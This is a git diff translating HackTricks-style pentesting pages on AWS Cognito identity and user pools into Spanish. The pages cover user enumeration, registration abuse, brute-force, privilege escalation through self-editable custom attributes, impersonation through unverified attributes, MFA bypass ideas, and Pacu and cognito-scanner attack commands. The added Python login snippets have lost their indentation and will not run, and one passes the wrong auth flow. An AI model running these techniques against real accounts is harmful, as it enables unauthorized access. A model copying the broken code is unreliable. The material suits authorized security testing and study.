IAM Cognito creado a través de** se llama por defecto `Cognito_Auth_Role` -Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured). +De todos modos, el **siguiente ejemplo** espera que ya hayas iniciado sesión dentro de un **Cognito User Pool** utilizado para acceder al Identity Pool (no olvides que otros tipos de proveedores de identidad también podrían estar configurados).
aws cognito-identity get-id \
-    --identity-pool-id <identity_pool_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id <identity_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
-# Get the identity_id from the previous commnad response
+# Obtén el identity_id de la respuesta del comando anterior
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
 
-# In the IdToken you can find roles a user has access because of User Pool Groups
-# User the --custom-role-arn to get credentials to a specific role
+# En el IdToken puedes encontrar roles a los que un usuario tiene acceso debido a los Grupos del User Pool
+# Usa el --custom-role-arn para obtener credenciales para un rol específico
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
+--identity-id <identity_id> \
     --custom-role-arn <role_arn> \
     --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
> [!WARNING] -> It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**. +> Es posible **configurar diferentes roles de IAM dependiendo del proveedor de identidad** con el que el usuario esté iniciando sesión o incluso solo dependiendo **del usuario** (usando claims). Por lo tanto, si tienes acceso a diferentes usuarios a través del mismo o diferentes proveedores, podría **valer la pena iniciar sesión y acceder a los roles de IAM de todos ellos**. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 08e06fb45..99500a27a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -2,32 +2,31 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. +Un grupo de usuarios es un directorio de usuarios en Amazon Cognito. Con un grupo de usuarios, tus usuarios pueden **iniciar sesión en tu aplicación web o móvil** a través de Amazon Cognito, **o federarse** a través de un proveedor de identidad (IdP) **de terceros**. Ya sea que tus usuarios inicien sesión directamente o a través de un tercero, todos los miembros del grupo de usuarios tienen un perfil de directorio al que puedes acceder a través de un SDK. -User pools provide: +Los grupos de usuarios proporcionan: -- Sign-up and sign-in services. -- A built-in, customizable web UI to sign in users. -- Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool. -- User directory management and user profiles. -- Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification. -- Customized workflows and user migration through AWS Lambda triggers. +- Servicios de registro e inicio de sesión. +- Una interfaz web personalizable incorporada para iniciar sesión a los usuarios. +- Inicio de sesión social con Facebook, Google, Login con Amazon y Sign in with Apple, y a través de proveedores de identidad SAML y OIDC de tu grupo de usuarios. +- Gestión del directorio de usuarios y perfiles de usuario. +- Características de seguridad como autenticación multifactor (MFA), verificaciones de credenciales comprometidas, protección contra toma de control de cuentas y verificación de teléfono y correo electrónico. +- Flujos de trabajo personalizados y migración de usuarios a través de desencadenadores de AWS Lambda. -**Source code** of applications will usually also contain the **user pool ID** and the **client application ID**, (and some times the **application secret**?) which are needed for a **user to login** to a Cognito User Pool. +El **código fuente** de las aplicaciones generalmente también contendrá el **ID del grupo de usuarios** y el **ID de la aplicación cliente**, (y a veces el **secreto de la aplicación**?) que son necesarios para que un **usuario inicie sesión** en un Grupo de Usuarios Cognito. -### Potential attacks +### Ataques Potenciales -- **Registration**: By default a user can register himself, so he could create a user for himself. -- **User enumeration**: The registration functionality can be used to find usernames that already exists. This information can be useful for the brute-force attack. -- **Login brute-force**: In the [**Authentication**](cognito-user-pools.md#authentication) section you have all the **methods** that a user have to **login**, you could try to brute-force them **find valid credentials**. +- **Registro**: Por defecto, un usuario puede registrarse a sí mismo, por lo que podría crear un usuario para sí mismo. +- **Enumeración de usuarios**: La funcionalidad de registro puede ser utilizada para encontrar nombres de usuario que ya existen. Esta información puede ser útil para el ataque de fuerza bruta. +- **Fuerza bruta de inicio de sesión**: En la sección de [**Autenticación**](cognito-user-pools.md#authentication) tienes todos los **métodos** que un usuario tiene para **iniciar sesión**, podrías intentar forzarlos para **encontrar credenciales válidas**. -### Tools for pentesting - -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), now includes the `cognito__enum` and `cognito__attack` modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.\ - For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +### Herramientas para pentesting +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), ahora incluye los módulos `cognito__enum` y `cognito__attack` que automatizan la enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de grupos de identidad utilizables, roles asumibles en tokens de id, etc.\ +Para una descripción de las funciones de los módulos, consulta la parte 2 de la [entrada del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu). ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -37,201 +36,169 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and account oracle. Check [this link](https://github.com/padok-team/cognito-scanner) for more info. - +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y el oracle de cuentas. Consulta [este enlace](https://github.com/padok-team/cognito-scanner) para más información. ```bash # Install pip install cognito-scanner # Run cognito-scanner --help ``` - -- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): This script allows to enumerate valid attributes for users. - +- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): Este script permite enumerar atributos válidos para usuarios. ```bash python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl ``` +## Registro -## Registration - -User Pools allows by **default** to **register new users**. - +User Pools permite por **defecto** **registrar nuevos usuarios**. ```bash aws cognito-idp sign-up --client-id \ - --username --password \ - --region --no-sign-request +--username --password \ +--region --no-sign-request ``` +#### Si alguien puede registrarse -#### If anyone can register - -You might find an error indicating you that you need to **provide more details** of abut the user: - +Es posible que encuentres un error que indica que necesitas **proporcionar más detalles** sobre el usuario: ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` - -You can provide the needed details with a JSON such as: - +Puedes proporcionar los detalles necesarios con un JSON como: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` - -You could use this functionality also to **enumerate existing users.** This is the error message when a user already exists with that name: - +Podrías usar esta funcionalidad también para **enumerar usuarios existentes.** Este es el mensaje de error cuando un usuario ya existe con ese nombre: ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` - > [!NOTE] -> Note in the previous command how the **custom attributes start with "custom:"**.\ -> Also know that when registering you **cannot create for the user new custom attributes**. You can only give value to **default attributes** (even if they aren't required) and **custom attributes specified**. - -Or just to test if a client id exists. This is the error if the client-id doesn't exist: +> Nota en el comando anterior cómo los **atributos personalizados comienzan con "custom:"**.\ +> También sepa que al registrarse **no puede crear nuevos atributos personalizados para el usuario**. Solo puede dar valor a los **atributos predeterminados** (incluso si no son obligatorios) y a los **atributos personalizados especificados**. +O solo para probar si existe un id de cliente. Este es el error si el client-id no existe: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` +#### Si solo el administrador puede registrar usuarios -#### If only admin can register users - -You will find this error and you own't be able to register or enumerate users: - +Encontrarás este error y no podrás registrar o enumerar usuarios: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` - ### Verifying Registration -Cognito allows to **verify a new user by verifying his email or phone number**. Therefore, when creating a user usually you will be required at least the username and password and the **email and/or telephone number**. Just set one **you control** so you will receive the code to **verify your** newly created user **account** like this: - +Cognito permite **verificar un nuevo usuario verificando su correo electrónico o número de teléfono**. Por lo tanto, al crear un usuario, generalmente se requerirá al menos el nombre de usuario y la contraseña y el **correo electrónico y/o número de teléfono**. Simplemente establece uno **que controles** para que recibas el código para **verificar tu** cuenta de usuario **recientemente creada** así: ```bash aws cognito-idp confirm-sign-up --client-id \ - --username aasdasd2 --confirmation-code \ - --no-sign-request --region us-east-1 +--username aasdasd2 --confirmation-code \ +--no-sign-request --region us-east-1 ``` - > [!WARNING] -> Even if **looks like you can use the same email** and phone number, when you need to verify the created user Cognito will complain about using the same info and **won't let you verify the account**. +> Incluso si **parece que puedes usar el mismo correo electrónico** y número de teléfono, cuando necesites verificar el usuario creado, Cognito se quejará de usar la misma información y **no te permitirá verificar la cuenta**. -### Privilege Escalation / Updating Attributes - -By default a user can **modify the value of his attributes** with something like: +### Escalación de Privilegios / Actualización de Atributos +Por defecto, un usuario puede **modificar el valor de sus atributos** con algo como: ```bash aws cognito-idp update-user-attributes \ - --region us-east-1 --no-sign-request \ - --user-attributes Name=address,Value=street \ - --access-token +--region us-east-1 --no-sign-request \ +--user-attributes Name=address,Value=street \ +--access-token ``` - -#### Custom attribute privesc +#### Privesc de atributos personalizados > [!CAUTION] -> You might find **custom attributes** being used (such as `isAdmin`), as by default you can **change the values of your own attributes** you might be able to **escalate privileges** changing the value yourself! +> Puedes encontrar **atributos personalizados** siendo utilizados (como `isAdmin`), ya que por defecto puedes **cambiar los valores de tus propios atributos**, ¡podrías ser capaz de **escalar privilegios** cambiando el valor tú mismo! -#### Email/username modification privesc +#### Privesc de modificación de correo electrónico/nombre de usuario -You can use this to **modify the email and phone number** of a user, but then, even if the account remains as verified, those attributes are **set in unverified status** (you need to verify them again). +Puedes usar esto para **modificar el correo electrónico y el número de teléfono** de un usuario, pero luego, incluso si la cuenta permanece como verificada, esos atributos están **establecidos en estado no verificado** (necesitas verificarlos nuevamente). > [!WARNING] -> You **won't be able to login with email or phone number** until you verify them, but you will be **able to login with the username**.\ -> Note that even if the email was modified and not verified it will appear in the ID Token inside the **`email`** **field** and the filed **`email_verified`** will be **false**, but if the app **isn't checking that you might impersonate other users**. +> **No podrás iniciar sesión con el correo electrónico o el número de teléfono** hasta que los verifiques, pero podrás **iniciar sesión con el nombre de usuario**.\ +> Ten en cuenta que incluso si el correo electrónico fue modificado y no verificado, aparecerá en el ID Token dentro del **campo** **`email`** y el campo **`email_verified`** será **falso**, pero si la aplicación **no está verificando eso, podrías suplantar a otros usuarios**. -> Moreover, note that you can put anything inside the **`name`** field just modifying the **name attribute**. If an app is **checking** **that** field for some reason **instead of the `email`** (or any other attribute) you might be able to **impersonate other users**. - -Anyway, if for some reason you changed your email for example to a new one you can access you can **confirm the email with the code you received in that email address**: +> Además, ten en cuenta que puedes poner cualquier cosa dentro del campo **`name`** simplemente modificando el **atributo name**. Si una aplicación está **verificando** **ese** campo por alguna razón **en lugar del `email`** (o cualquier otro atributo), podrías ser capaz de **suplantar a otros usuarios**. +De todos modos, si por alguna razón cambiaste tu correo electrónico, por ejemplo, a uno nuevo al que puedes acceder, puedes **confirmar el correo electrónico con el código que recibiste en esa dirección de correo electrónico**: ```bash aws cognito-idp verify-user-attribute \ - --access-token \ - --attribute-name email --code \ - --region --no-sign-request +--access-token \ +--attribute-name email --code \ +--region --no-sign-request ``` - -Use **`phone_number`** instead of **`email`** to change/verify a **new phone number**. +Usa **`phone_number`** en lugar de **`email`** para cambiar/verificar un **nuevo número de teléfono**. > [!NOTE] -> The admin could also enable the option to **login with a user preferred username**. Note that you won't be able to change this value to **any username or preferred_username already being used** to impersonate a different user. +> El administrador también podría habilitar la opción de **iniciar sesión con un nombre de usuario preferido por el usuario**. Ten en cuenta que no podrás cambiar este valor a **cualquier nombre de usuario o preferred_username que ya esté siendo utilizado** para suplantar a otro usuario. -### Recover/Change Password - -It's possible to recover a password just **knowing the username** (or email or phone is accepted) and having access to it as a code will be sent there: +### Recuperar/Cambiar Contraseña +Es posible recuperar una contraseña solo **conociendo el nombre de usuario** (o se acepta email o teléfono) y teniendo acceso a él, ya que se enviará un código allí: ```bash aws cognito-idp forgot-password \ - --client-id \ - --username --region +--client-id \ +--username --region ``` - > [!NOTE] -> The response of the server is always going to be positive, like if the username existed. You cannot use this method to enumerate users - -With the code you can change the password with: +> La respuesta del servidor siempre será positiva, como si el nombre de usuario existiera. No puedes usar este método para enumerar usuarios +Con el código puedes cambiar la contraseña con: ```bash aws cognito-idp confirm-forgot-password \ - --client-id \ - --username \ - --confirmation-code \ - --password --region +--client-id \ +--username \ +--confirmation-code \ +--password --region ``` - -To change the password you need to **know the previous password**: - +Para cambiar la contraseña necesitas **conocer la contraseña anterior**: ```bash aws cognito-idp change-password \ - --previous-password \ - --proposed-password \ - --access-token +--previous-password \ +--proposed-password \ +--access-token ``` +## Autenticación -## Authentication +Un grupo de usuarios admite **diferentes formas de autenticarse**. Si tienes un **nombre de usuario y contraseña**, también hay **diferentes métodos** admitidos para iniciar sesión.\ +Además, cuando un usuario está autenticado en el grupo, se **otorgan 3 tipos de tokens**: El **ID Token**, el **Access token** y el **Refresh token**. -A user pool supports **different ways to authenticate** to it. If you have a **username and password** there are also **different methods** supported to login.\ -Moreover, when a user is authenticated in the Pool **3 types of tokens are given**: The **ID Token**, the **Access token** and the **Refresh token**. - -- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): It contains claims about the **identity of the authenticated user,** such as `name`, `email`, and `phone_number`. The ID token can also be used to **authenticate users to your resource servers or server applications**. You must **verify** the **signature** of the ID token before you can trust any claims inside the ID token if you use it in external applications. - - The ID Token is the token that **contains the attributes values of the user**, even the custom ones. -- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): It contains claims about the authenticated user, a list of the **user's groups, and a list of scopes**. The purpose of the access token is to **authorize API operations** in the context of the user in the user pool. For example, you can use the access token to **grant your user access** to add, change, or delete user attributes. -- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): With refresh tokens you can **get new ID Tokens and Access Tokens** for the user until the **refresh token is invalid**. By **default**, the refresh token **expires 30 days after** your application user signs into your user pool. When you create an application for your user pool, you can set the application's refresh token expiration to **any value between 60 minutes and 10 years**. +- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Contiene afirmaciones sobre la **identidad del usuario autenticado**, como `name`, `email` y `phone_number`. El ID token también se puede usar para **autenticar usuarios en tus servidores de recursos o aplicaciones de servidor**. Debes **verificar** la **firma** del ID token antes de poder confiar en cualquier afirmación dentro del ID token si lo usas en aplicaciones externas. +- El ID Token es el token que **contiene los valores de los atributos del usuario**, incluso los personalizados. +- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Contiene afirmaciones sobre el usuario autenticado, una lista de los **grupos del usuario y una lista de scopes**. El propósito del access token es **autorizar operaciones de API** en el contexto del usuario en el grupo de usuarios. Por ejemplo, puedes usar el access token para **otorgar a tu usuario acceso** para agregar, cambiar o eliminar atributos de usuario. +- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Con los refresh tokens puedes **obtener nuevos ID Tokens y Access Tokens** para el usuario hasta que el **refresh token sea inválido**. Por **defecto**, el refresh token **expira 30 días después** de que el usuario de tu aplicación inicie sesión en tu grupo de usuarios. Cuando creas una aplicación para tu grupo de usuarios, puedes establecer la expiración del refresh token de la aplicación a **cualquier valor entre 60 minutos y 10 años**. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH -This is the server side authentication flow: +Este es el flujo de autenticación del lado del servidor: -- The server-side app calls the **`AdminInitiateAuth` API operation** (instead of `InitiateAuth`). This operation requires AWS credentials with permissions that include **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**. The operation returns the required authentication parameters. -- After the server-side app has the **authentication parameters**, it calls the **`AdminRespondToAuthChallenge` API operation**. The `AdminRespondToAuthChallenge` API operation only succeeds when you provide AWS credentials. +- La aplicación del lado del servidor llama a la **operación de API `AdminInitiateAuth`** (en lugar de `InitiateAuth`). Esta operación requiere credenciales de AWS con permisos que incluyan **`cognito-idp:AdminInitiateAuth`** y **`cognito-idp:AdminRespondToAuthChallenge`**. La operación devuelve los parámetros de autenticación requeridos. +- Después de que la aplicación del lado del servidor tiene los **parámetros de autenticación**, llama a la **operación de API `AdminRespondToAuthChallenge`**. La operación de API `AdminRespondToAuthChallenge` solo tiene éxito cuando proporcionas credenciales de AWS. -This **method is NOT enabled** by default. +Este **método NO está habilitado** por defecto. -To **login** you **need** to know: +Para **iniciar sesión** necesitas saber: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- id del grupo de usuarios +- id del cliente +- nombre de usuario +- contraseña +- secreto del cliente (solo si la aplicación está configurada para usar un secreto) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> Moreover, to perform this action you need credentials with the permissions **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`** - +> Para **poder iniciar sesión con este método**, esa aplicación debe permitir iniciar sesión con `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ +> Además, para realizar esta acción necesitas credenciales con los permisos **`cognito-idp:AdminInitiateAuth`** y **`cognito-idp:AdminRespondToAuthChallenge`** ```python aws cognito-idp admin-initiate-auth \ - --client-id \ - --auth-flow ADMIN_USER_PASSWORD_AUTH \ - --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' - --user-pool-id "" +--client-id \ +--auth-flow ADMIN_USER_PASSWORD_AUTH \ +--region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--user-pool-id "" # Check the python code to learn how to generate the hsecret_hash ``` -
-Code to Login - +Código para Iniciar Sesión ```python import boto3 import botocore @@ -249,61 +216,57 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.admin_initiate_auth( - UserPoolId=user_pool_id, - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.admin_initiate_auth( +UserPoolId=user_pool_id, +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_PASSWORD_AUTH -This method is another simple and **traditional user & password authentication** flow. It's recommended to **migrate a traditional** authentication method **to Cognito** and **recommended** to then **disable** it and **use** then **ALLOW_USER_SRP_AUTH** method instead (as that one never sends the password over the network).\ -This **method is NOT enabled** by default. +Este método es otro flujo de **autenticación tradicional de usuario y contraseña**. Se recomienda **migrar un método de autenticación tradicional** **a Cognito** y **se recomienda** luego **desactivarlo** y **usar** el método **ALLOW_USER_SRP_AUTH** en su lugar (ya que este nunca envía la contraseña a través de la red).\ +Este **método NO está habilitado** por defecto. -The main **difference** with the **previous auth method** inside the code is that you **don't need to know the user pool ID** and that you **don't need extra permissions** in the Cognito User Pool. +La **principal diferencia** con el **método de autenticación anterior** dentro del código es que **no necesitas conocer el ID del grupo de usuarios** y que **no necesitas permisos adicionales** en el Grupo de Usuarios de Cognito. -To **login** you **need** to know: +Para **iniciar sesión** necesitas saber: -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- id de cliente +- nombre de usuario +- contraseña +- secreto de cliente (solo si la aplicación está configurada para usar un secreto) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with ALLOW_USER_PASSWORD_AUTH. - +> Para **poder iniciar sesión con este método**, esa aplicación debe permitir iniciar sesión con ALLOW_USER_PASSWORD_AUTH. ```python aws cognito-idp initiate-auth --client-id \ - --auth-flow USER_PASSWORD_AUTH --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--auth-flow USER_PASSWORD_AUTH --region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' # Check the python code to learn how to generate the secret_hash ``` -
-Python code to Login - +Código Python para iniciar sesión ```python import boto3 import botocore @@ -321,48 +284,46 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_SRP_AUTH -This is scenario is similar to the previous one but **instead of of sending the password** through the network to login a **challenge authentication is performed** (so no password navigating even encrypted through he net).\ -This **method is enabled** by default. +Este escenario es similar al anterior, pero **en lugar de enviar la contraseña** a través de la red para iniciar sesión, se **realiza una autenticación de desafío** (por lo que no hay contraseña navegando, ni siquiera encriptada, a través de la red).\ +Este **método está habilitado** por defecto. -To **login** you **need** to know: +Para **iniciar sesión** necesitas saber: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- id del grupo de usuarios +- id del cliente +- nombre de usuario +- contraseña +- secreto del cliente (solo si la aplicación está configurada para usar un secreto)
-Code to login - +Código para iniciar sesión ```python from warrant.aws_srp import AWSSRP import os @@ -375,32 +336,28 @@ CLIENT_SECRET = 'secreeeeet' os.environ["AWS_DEFAULT_REGION"] = "" aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID, - client_id=CLIENT_ID, client_secret=CLIENT_SECRET) +client_id=CLIENT_ID, client_secret=CLIENT_SECRET) tokens = aws.authenticate_user() id_token = tokens['AuthenticationResult']['IdToken'] refresh_token = tokens['AuthenticationResult']['RefreshToken'] access_token = tokens['AuthenticationResult']['AccessToken'] token_type = tokens['AuthenticationResult']['TokenType'] ``` -
### REFRESH_TOKEN_AUTH & REFRESH_TOKEN -This **method is always going to be valid** (it cannot be disabled) but you need to have a valid refresh token. - +Este **método siempre va a ser válido** (no se puede desactivar) pero necesitas tener un token de actualización válido. ```bash aws cognito-idp initiate-auth \ - --client-id 3ig6h5gjm56p1ljls1prq2miut \ - --auth-flow REFRESH_TOKEN_AUTH \ - --region us-east-1 \ - --auth-parameters 'REFRESH_TOKEN=' +--client-id 3ig6h5gjm56p1ljls1prq2miut \ +--auth-flow REFRESH_TOKEN_AUTH \ +--region us-east-1 \ +--auth-parameters 'REFRESH_TOKEN=' ``` -
-Code to refresh - +Código para refrescar ```python import boto3 import botocore @@ -414,83 +371,74 @@ token = '' boto_client = boto3.client('cognito-idp', region_name='') def refresh(client_id, refresh_token): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='REFRESH_TOKEN_AUTH', - AuthParameters={ - 'REFRESH_TOKEN': refresh_token - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='REFRESH_TOKEN_AUTH', +AuthParameters={ +'REFRESH_TOKEN': refresh_token +} +) +except botocore.exceptions.ClientError as e: +return e.response print(refresh(client_id, token)) ``` -
### CUSTOM_AUTH -In this case the **authentication** is going to be performed through the **execution of a lambda function**. +En este caso, la **autenticación** se realizará a través de la **ejecución de una función lambda**. -## Extra Security +## Seguridad Extra -### Advanced Security +### Seguridad Avanzada -By default it's disabled, but if enabled, Cognito could be able to **find account takeovers**. To minimise the probability you should login from a **network inside the same city, using the same user agent** (and IP is thats possible)**.** +Por defecto está deshabilitada, pero si se habilita, Cognito podría ser capaz de **encontrar tomas de control de cuentas**. Para minimizar la probabilidad, deberías iniciar sesión desde una **red dentro de la misma ciudad, utilizando el mismo agente de usuario** (y IP si es posible)**.** -### **MFA Remember device** +### **MFA Recordar dispositivo** -If the user logins from the same device, the MFA might be bypassed, therefore try to login from the same browser with the same metadata (IP?) to try to bypass the MFA protection. +Si el usuario inicia sesión desde el mismo dispositivo, el MFA podría ser eludido, por lo tanto, intenta iniciar sesión desde el mismo navegador con los mismos metadatos (¿IP?) para intentar eludir la protección MFA. -## User Pool Groups IAM Roles +## Grupos de User Pool Roles IAM -It's possible to add **users to User Pool** groups that are related to one **IAM roles**.\ -Moreover, **users** can be assigned to **more than 1 group with different IAM roles** attached. +Es posible agregar **usuarios a grupos de User Pool** que están relacionados con uno **roles IAM**.\ +Además, **los usuarios** pueden ser asignados a **más de 1 grupo con diferentes roles IAM** adjuntos. -Note that even if a group is inside a group with an IAM role attached, in order to be able to access IAM credentials of that group it's needed that the **User Pool is trusted by an Identity Pool** (and know the details of that Identity Pool). +Ten en cuenta que incluso si un grupo está dentro de un grupo con un rol IAM adjunto, para poder acceder a las credenciales IAM de ese grupo es necesario que el **User Pool sea confiable por un Identity Pool** (y conocer los detalles de ese Identity Pool). -Another requisite to get the **IAM role indicated in the IdToken** when a user is authenticated in the User Pool (`aws cognito-idp initiate-auth...`) is that the **Identity Provider Authentication provider** needs indicate that the **role must be selected from the token.** +Otro requisito para obtener el **rol IAM indicado en el IdToken** cuando un usuario está autenticado en el User Pool (`aws cognito-idp initiate-auth...`) es que el **proveedor de autenticación del proveedor de identidad** necesita indicar que el **rol debe ser seleccionado del token.**
